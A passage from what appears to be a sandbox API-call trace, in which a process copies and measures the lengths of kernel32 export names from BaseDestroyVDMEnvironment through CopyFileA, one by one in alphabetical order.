returned="BaseDestroyVDMEnvironment" [0149.245] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.245] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.245] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.245] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.245] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.245] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.245] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.245] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.246] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.246] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.246] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.246] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.246] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.246] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.246] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.246] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.246] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.246] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.246] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.246] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.246] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.246] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.246] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.246] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.246] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.246] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.247] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.247] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.247] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.247] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.247] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.247] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.247] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.247] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.247] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.247] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.247] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.247] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.247] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.247] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.247] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.247] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.247] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.248] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.248] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.248] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.248] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.248] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.248] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.248] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.248] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.248] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.248] lstrlenA (lpString="BEEP") returned 4 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.248] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.248] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.248] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.248] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.248] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.248] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0149.248] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.248] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.249] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.249] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.249] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.249] lstrlenA (lpString="CANCELIO") returned 8 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.249] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.249] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.249] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.249] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.249] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.279] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.279] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.280] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.280] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.280] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.280] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.280] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.280] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.280] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.280] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.280] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.280] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.280] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.280] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.280] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.280] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.280] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.280] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.281] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.281] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.281] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.281] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.281] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.281] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.281] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.281] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.281] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.281] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.281] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.281] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.281] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.281] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.281] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.281] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.282] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.282] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.282] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.282] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.282] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.282] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.282] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.282] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.282] lstrlenA (lpString="COPYFILE2") returned 9 [0149.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.282] lstrlenA 